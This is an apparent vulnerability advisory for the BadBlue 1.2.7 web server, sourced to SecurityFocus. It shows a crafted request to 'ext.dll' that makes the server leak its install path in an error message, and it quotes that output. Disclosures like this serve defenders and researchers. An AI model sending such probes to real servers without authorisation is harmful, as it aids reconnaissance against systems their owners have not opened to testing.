Working Resources BadBlue 1.2.7 - Full Path Disclosure

source: https://www.securityfocus.com/bid/2390/info

Requesting a specially crafted URL to a machine running Working Resources BadBlue, will disclose the physical path to the root directory. 

http://target/ext.dll

will result in:

[Error: opening c:\program files\badblue\pe\default.htx (2)]